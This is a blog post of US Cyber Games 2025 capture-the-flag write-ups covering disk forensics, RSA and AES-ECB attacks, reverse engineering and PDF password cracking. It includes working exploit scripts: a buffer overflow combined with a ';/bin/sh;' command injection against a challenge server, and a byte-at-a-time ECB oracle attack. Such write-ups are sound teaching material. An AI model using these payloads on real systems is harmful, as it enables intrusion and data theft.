Post

US CyberGames

This write up documents the challenges I solved during the US Cyber Games 2025 , specifically in the categories of Pwn, Forensics, Reverse Engineering, and Cryptography. Each section walks through my process—from analyzing binary exploits and reconstructing OLED display data to decrypting protected files and extracting browser artifacts.

Drive Discovery

Challenge File: nothinginterestinghere.001
Category: Forensics
Tools Used: file, FTK Imager, base64

Description

We’re given a file named nothinginterestinghere.001 — clearly a disk image segment. Our task is to examine it and extract any hidden or deleted secrets. image

Digging in with FTK Imager

I opened the .001 file using FTK Imager. Within the folder view, under a directory labeled secrets, I found a deleted file named flag.txt.

image

Even though the file was deleted, its contents were still recoverable. The content looked like this:

1
U1ZCUkd7ZDNsMzczZF9uMDdfZjByNjA3NzNuXzI4MzAyOTM4Mn0=

Decoding the Flag

I copied the string and used the base64 command-line utility to decode it:

image

1
SVBRG{d3l373d_n07_f0r60773n_283029382}

Gotta Go Low

Description

We’re given RSA parameters:

1
2
3
4
e = 3
n = 131568056653373132012174976653266884910157447726840322128654668864744046838266089026781586223439349724120314053694539817871939811571791816723493939318461523177171366268168393668921342560692769288416456729904590430725433093936110904690901655852707387030375716854722258158043345187159940346383427399753323791427
ciphertext = 898564915277349210856325643177982880844269990070750993964886895279898673815668084088711509416748167698104435154155125903563814943672577759197896689419072923530272379905743352154731864706846939063378835946564725599528080721144587149407333

We’re also provided the challenge script used to generate the keypair and encrypt the flag. This lets us infer something critical: no padding was used.

Vulnerability: Low Exponent + Small Message

Since e = 3 and the message was likely small (like a flag), if the plaintext cubed () is smaller than the modulus n, then: ciphertext=m^3

This makes RSA trivially breakable by taking the integer cube root of the ciphertext.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from sympy import integer_nthroot


ciphertext = 898564915277349210856325643177982880844269990070750993964886895279898673815668084088711509416748167698104435154155125903563814943672577759197896689419072923530272379905743352154731864706846939063378835946564725599528080721144587149407333
n = 131568056653373132012174976653266884910157447726840322128654668864744046838266089026781586223439349724120314053694539817871939811571791816723493939318461523177171366268168393668921342560692769288416456729904590430725433093936110904690901655852707387030375716854722258158043345187159940346383427399753323791427
e = 3


m_root, exact = integer_nthroot(ciphertext, e)

if exact:
    plaintext_int = m_root

    plaintext = plaintext_int.to_bytes((plaintext_int.bit_length() + 7) // 8, byteorder='big').decode()
    print("message:", plaintext)
else:
    print("The cube root is not exact")

1
SVBGR{l0w_3xp0n3nt5_@r3_n0t_s@fe}

BezoutBezoutBezout

Description

We were given:

  • A list of numbers in nums.txt
  • A list of GCD values in gcds.txt
  • A validation script bezoutbezoutbezout.py containing this core logic:
1
2
3
4
5
6
for i in range(len(gcds)):
    d = gcds[i]
    a, b = magic_select(d, nums)
    s, t = magic_bezout(a, b)
    assert(d + s + t == ord(flag[i]))

This strongly suggests the use of the Extended Euclidean Algorithm.

Solution

After reading about Bézout’s identity, the path became clear: if gcd(a, b) = d, then there exist integers s and t such that:

If  gcd(a,b)=d, then s⋅a+t⋅b=d

Which leads to: flag[i]=d+s+t

All we needed was to find such (a, b) pairs in nums.txt with the correct gcd and recover s + t.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from math import gcd
from itertools import combinations


with open("gcds.txt") as f:
    gcds = eval(f.read())

with open("nums.txt") as f:
    nums = eval(f.read())


def extended_gcd(a, b):
    if b == 0:
        return (1, 0, a)
    else:
        x1, y1, g = extended_gcd(b, a % b)
        x, y = y1, x1 - (a // b) * y1
        return (x, y, g)


valid_chars_per_index = []

for d in gcds:
    candidates = set()
    for a, b in combinations(nums, 2):
        if gcd(a, b) == d:
            x, y, g = extended_gcd(a, b)
            x *= d // g
            y *= d // g
            for k in range(-3, 4):
                s = x - k * (b // d)
                t = y + k * (a // d)
                val = d + s + t
                if 32 <= val <= 126:
                    candidates.add(chr(val))
    if not candidates:
        candidates.add('?')
    valid_chars_per_index.append(sorted(candidates))


def backtrack(index, current):
    if index == len(valid_chars_per_index):
        return current
    for ch in valid_chars_per_index[index]:
        result = backtrack(index + 1, current + ch)
        if result:
            return result
    return None


flag = backtrack(0, "")
print("flag:", flag)

1
SVBGR{numb3rs_h0ld_s3cr3ts_1f_u_l00k_cl0s3}

Block Blast

Description

This challenge exposes an AES-ECB encryption oracle that appends a secret flag to user-controlled input. By exploiting ECB’s deterministic block structure, we recover the flag one byte at a time using a crafted prefix and ciphertext matching.

Oracle Behavior (learned from code)

1
def encrypt_oracle(user_bytes: bytes) -> bytes:     plaintext = user_bytes + FLAG

The challenge encrypts user-controlled input followed by an unknown flag using AES-ECB, so by carefully aligning our input, we can recover the flag one byte at a time through ciphertext block comparison.

1
block = known_input + unknown_flag_byte

And since ECB encrypts each block independently, repeating known input gives us a way to guess the next byte of the flag.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
import socket, binascii, string

def connect(host="crypto.ctf.uscybergames.com", port=5001):
    s = socket.socket(); s.connect((host, port))
    print(s.recv(1024).decode())
    return s

def query(sock, hex_data):
    sock.send((hex_data + "\n").encode())
    r = sock.recv(4096).decode().strip()
    return r[2:] if r.startswith("> ") else r

def ecb_byte_at_a_time(sock):
    BLOCK_SIZE = 16
    flag = b""
    charset = string.printable.encode()
    print("[+]attack...")

    for i in range(100):
        pad_len = (BLOCK_SIZE - 1 - (len(flag) % BLOCK_SIZE)) % BLOCK_SIZE
        pad = b"A" * pad_len
        target = query(sock, binascii.hexlify(pad).decode())

        blk_idx = (pad_len + len(flag)) // BLOCK_SIZE
        blk_range = slice(blk_idx * 32, (blk_idx + 1) * 32)
        ref_block = target[blk_range]

        for b in charset:
            guess = pad + flag + bytes([b])
            guess += b"A" * ((BLOCK_SIZE - len(guess) % BLOCK_SIZE) % BLOCK_SIZE)
            guess_hex = binascii.hexlify(guess[: (blk_idx + 1) * BLOCK_SIZE]).decode()
            resp = query(sock, guess_hex)
            if resp[blk_range] == ref_block:
                flag += bytes([b])
                print(f"[+] found byte: {chr(b)} | flag: {flag.decode(errors='replace')}")
                break
        else:
            print("[!] Byte not found."); break

        if flag.endswith(b'}') and flag.startswith(b'flag{'):
            print(f"[+] Full flag: {flag.decode()}"); break
    return flag

def main():
    print("[+] Connecting...")
    sock = connect()
    try:
        flag = ecb_byte_at_a_time(sock)
        print(f"[+] Flag: {flag.decode(errors='replace')}")
    finally:
        sock.close()

if __name__ == "__main__":
    main()

1
SVBGR{M3G4_P0W3RUP_C0MB0}

Donut

Binary Protections

Description

You can set your timezone, buy donuts (costs money), earn money (via a guessing game), and access a hidden maintenance mode if the donuts variable is set to the magic value 0xCAFEBABE

image

Binary Protections

image

Reverse Engineering

From the main() and maintenance() functions, we learn the following

1
gets(timezone); // vulnerable input

We can overflow timezone to overwrite donuts, which is how access to the admin panel is gated:

1
2
3
if (donuts == -889275714) {  // 0xCAFEBABE
    // admin panel
}

Inside admin panel:

1
2
snprintf(cmd, 0x64, "date --date='TZ=\"%s\"'", timezone);
system(cmd); // command injection possible

Exploit Strategy

  1. Craft payload for gets(timezone):

    • Fill 32 bytes of timezone

    • Skip 4 bytes of money

    • Overwrite donuts with 0xCAFEBABE

  2. Inject a shell command in timezone so it ends up in:

1
date --date='TZ="';/bin/sh;'"'
  • When system() runs that, we execute /bin/sh.
    1. Send option 3 (maintenance mode) to trigger the exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

REMOTE_HOST = "pwn.ctf.uscybergames.com"
REMOTE_PORT = 5000


p = remote(REMOTE_HOST, REMOTE_PORT)


command_payload = b"';/bin/sh;'"                 
padding_timezone = b"A" * (32 - len(command_payload))  
padding_money = b"B" * 4                        
donuts_value = p32(0xCAFEBABE)                   

exploit_payload = command_payload + padding_timezone + padding_money + donuts_value

log.info(f"Sending exploit payload...")
p.sendlineafter(b"> ", exploit_payload)

# Send option 3 to enter maintenance panel
log.info("Triggering admin panel...")
p.sendlineafter(b"> ", b"3")

log.success("Enjoy your shell 🍩")
p.interactive()

CTF Cafe

We’re given a 64-bit ELF binary named ctf_cafe, dynamically linked and not stripped—which is great because all symbols are intact for reverse engineering.

image

Solution Analyzing main(), we find:

1
2
3
4
5
6
7
8
9
10
if (v4 == 9) {
    puts("Oh, so you want the secret sauce recipe? Only if you have our proprietary key!");
    printf("Enter 8-byte hex key: ");
    if (scanf("%lx", &key) == 1) {
        if (key == 0x9BD2C75A49C4EFEB) {
            puts("Congratulations!");
            for (i = 0; i <= 0x20; ++i)
                putchar(secret_sauce[i] ^ size[i % 8]);
        }

The key we need is 0x9BD2C75A49C4EFEB, and it decrypts the bytes in the array secret_sauce using XOR with a repeating size array.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
secret_sauce = [
    0xC8, 0x84, 0x85, 0x1D, 0x1B, 0xBF, 0x8B, 0xD8,
    0xF8, 0xE2, 0xAA, 0x2A, 0x78, 0xA8, 0xDC, 0x99,
    0xE8, 0x8D, 0xAA, 0x6E, 0x22, 0xF7, 0xB0, 0x87,
    0xAA, 0xB4, 0xF4, 0x05, 0x7A, 0xF0, 0x9C, 0x92,
    0xE6
]

size = [0x9B, 0xD2, 0xC7, 0x5A, 0x49, 0xC4, 0xEF, 0xEB]


recipe = ''.join(chr(secret_sauce[i] ^ size[i % 8]) for i in range(len(secret_sauce)))
print("secret sauce recipe:", recipe)

1
SVBGR{d3c0mp1l3rs_m4k3_l1f3_34sy}

Historical Fiction

Description

One of the US Cyber Games administrators is looking for a cybersecurity book. They don’t want the hardcover or Kindle version—just the paperback. The ISBN of the paperback book is the flag.

We’re provided with a zipped copy of a user’s Chrome profile directory. Chrome typically stores browsing history in a file called History under:

1
<Chrome User Profile>/Default/History

On a typical Linux system, that would be something like:

1
~/.config/google-chrome/Default/History

The History file is a SQLite 3 database. We can open it like this:

1
sqlite3 "Google/Chrome/User Data/Default/History"

image

Among the entries, we find this important one:

1
https://www.amazon.com/Hack-Back-Techniques-Hackers-Their/dp/1032818530/ref=tmm_pap_swatch_0

This URL points to the paperback edition of:

The Hack Is Back by Varsalone, Jesse, and Haller, Christopher

We extract the ISBN from the page or URL:

978-1032818535

1
SVUSCG{978-1032818535}

Logged

Description

One of the US Cyber Games administrators forgot their password to the FTP Server a lot of times. How many times did they forget it according to the IIS Windows log file?

We start by extracting ICMP traffic and observing the relative arrival times of packets:

1
tshark -r SilentSignal.pcap -Y "icmp" -T fields -e frame.number -e frame.time_relative

This gives us output like:

1
2
3
4
5
1    0.000000000
2   83.000000000
3  169.000000000
4  235.000000000
...

The packet timing deltas (differences between each consecutive timestamp) represent ASCII values.

1
2
3
4
5
6
7
8
9
10
times = [0, 83, 169, 235, 317, 388, 511, 627, 732, 841, 892,
         987, 1103, 1217, 1269, 1387, 1438, 1546, 1641, 1759,
         1808, 1905, 2000, 2112, 2161, 2271, 2374, 2499]


for i in range(1, len(times)):
    delta = int(times[i] - times[i - 1])
    print(chr(delta), end='')

1
SVBRG{tim3_tr4v3l_v1a_p1ng}

Redactables

Description We’re given a PDF file that appears encrypted and supposedly “redacted.”

Step 1: Crack the PDF Password

We use pdf2john (from the John the Ripper suite) to extract a crackable hash:

1
pdf2john redactable.pdf > pdf_hash.txt

Then, we crack it using the popular rockyou.txt wordlist:

1
john pdf_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Within seconds, we get:

1
redactable.pdf:friends4eva

Password: friends4eva

Step 2: Decrypt the PDF

Now we can unlock the PDF using qpdf:

1
qpdf --password=friends4eva --decrypt redactable.pdf clean.pdf

Opening clean.pdf, we find… a completely black image image

Step 3: Extract the Image

1
pdfimages -all clean.pdf extracted

This produces a swirled/distorted image. image

Step 4: Unswirl the Image (GIMP)

Open the extracted image in GIMP, then:

  • Go to Filters > Distorts > Whirl and Pinch

  • Set Whirl = -519 (adjust until it looks correct)

  • You’ll now see the hidden flag in clear text

image

1
SVUSCG{oops_i_did_it_again_i_didnt_redact}

OLED Gadget Password Recovery

Description

oled-gadget.elf, oled-gadget.elf.i64, and oled-gadget.bin sh1108v2.0.pdf — a datasheet for the OLED display controller used in the device

Recover the password displayed on the SH1108-based OLED screen during device startup — no hardware access. The flag is rendered by the firmware, so we must reverse engineer it.

Understanding the Display Controller

The SH1108 PDF provides critical insight:

  • It’s a 160×160 monochrome OLED with a page-oriented memory (each page = 8 vertical pixels × N horizontal columns).

  • The system uses Segment Remap (0xA1) and Common Scan Direction Reverse (0xC8) to flip the image horizontally and vertically.

  • The code initializes the OLED to 128×160 display mode using 0xA9, 0x02.

Interpretation:

  • Segment Remap = 0xA1: Horizontal flip (SEG[159-X])

  • Scan Direction = 0xC8: Vertical flip (COM[N-1] to COM0)

So any image in memory is rendered rotated 180° on screen.


Extracting the Display Buffer

The firmware copies a portion of .rodata directly into the OLED framebuffer:

1
memcpy(sh1108_frame_buffer_raw, &_etext, 0xA00); // 2560 bytes

That’s 2560 bytes total (0xA00), and it’s sent to the screen using a driver for the SH1108 OLED controller. I opened the PDF to confirm exactly how this works — and yeah, it helped a ton.

What I confirmed from the SH1108 PDF:

  • The display is 160x160, but the firmware only writes 128 columns × 160 rows (that’s 20 pages of 128 bytes).

  • The command 0xA9, 0x02 in the init sequence sets the resolution to 128 rows x 160 SEG, with COM16 to COM143 active.

  • The controller uses page addressing mode (0x20), and writes 128 bytes per page.

Now, more importantly:

  • Segment Re-map (0xA1) → flips the image horizontally.

  • Common Output Scan Direction (0xC8) → flips the image vertically.

  • That combo? It’s a 180° rotation of the image stored in .rodata when rendered.

I checked how the framebuffer was set: the first byte goes to GDDRAM column 16, and with the segment remap, that maps to SEG143. The last byte maps to SEG16. That confirms the horizontal flip.

For the vertical part, page 0 appears at the bottom due to the 0xC8 command, and page 19 at the top.

So with this confirmed from the datasheet, I wrote a quick Python script that:

  • Parses the .rodata bytes from the ELF dump.

  • Reconstructs the framebuffer (160 rows, 128 columns).

  • Applies the horizontal and vertical flips as per the SH1108 config.

  • Outputs the correct image: initial_display_sh1108.png.

When I rendered it — boom, the flag was right up. No need for hardware emulation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import re
from PIL import Image

rodata_dump = """
.rodata:080064BD                 DCB 0xF0
.rodata:080064BE                 DCB 0xF0
.rodata:080064BF                 DCB 0xDC
.rodata:080064C0                 DCB 0xDC
.rodata:080064C1                 DCB 0xCE
.rodata:080064C2                 DCB 0xCE
.rodata:080064C3                 DCB 0xCE
.rodata:080064C4                 DCB 0xEE
.rodata:080064C5                 DCB  0xE
.rodata:080064C6                 DCB  0xE
.rodata:080064C7                 DCB 0xDC
.rodata:080064C8                 DCB 0xF0
.rodata:080064C9                 DCB 0xF0
.rodata:080064CA                 DCB    0
.rodata:08006697                 DCB 0xE1
.rodata:08006698                 DCB 0x2A
.rodata:08006699                 DCB    0
.rodata:0800669A                 DCB    8
.rodata:0800669B                 DCB    0
.rodata:0800669C                 DCB    0
.rodata:0800669D                 DCB    0
.rodata:0800669E                 DCB    0
.rodata:0800669F                 DCB    0
.rodata:080066B2                 DCB 0xAF
.rodata:080066B3                 ALIGN 4
""" #truncated

FRAME_WIDTH = 128
FRAME_HEIGHT = 160
BYTES_PER_PAGE = FRAME_WIDTH
NUM_PAGES = FRAME_HEIGHT // 8
TOTAL_BYTES = BYTES_PER_PAGE * NUM_PAGES

start_addr = 0x08005C88
end_addr = start_addr + TOTAL_BYTES

data_bytes = {}
for line in rodata_dump.strip().splitlines():
    match = re.match(r'\.rodata:(080[0-9A-F]{5})\s+DCB\s+((?:0x[0-9A-Fa-f]+|[0-9]+)(?:\s*,\s*(?:0x[0-9A-Fa-f]+|[0-9]+))*)', line)
    if match:
        addr = int(match.group(1), 16)
        values = [int(v, 16) if v.startswith("0x") else int(v) for v in match.group(2).split(',')]
        for offset, val in enumerate(values):
            data_bytes[addr + offset] = val

frame_buffer_data = [data_bytes.get(start_addr + i, 0) for i in range(TOTAL_BYTES)]

intermediate_pixels = [[0 for _ in range(FRAME_WIDTH)] for _ in range(FRAME_HEIGHT)]

for page in range(NUM_PAGES):
    page_y = page * 8
    for col in range(FRAME_WIDTH):
        byte_val = frame_buffer_data[page * FRAME_WIDTH + col]
        for bit in range(8):
            if (byte_val >> bit) & 1:
                intermediate_pixels[page_y + bit][col] = 1

img = Image.new('1', (FRAME_WIDTH, FRAME_HEIGHT), color=255)
pixels = img.load()

for y in range(FRAME_HEIGHT):
    for x in range(FRAME_WIDTH):
        if intermediate_pixels[y][x]:
            x_disp = FRAME_WIDTH - 1 - x
            y_disp = FRAME_HEIGHT - 1 - y
            pixels[x_disp, y_disp] = 0

output_filename = "flag.png"
img.save(output_filename)
print(f"Image saved as '{output_filename}'")

image

1
SVUSCG{Gen3=BestGen}
This post is licensed under CC BY 4.0 by the author.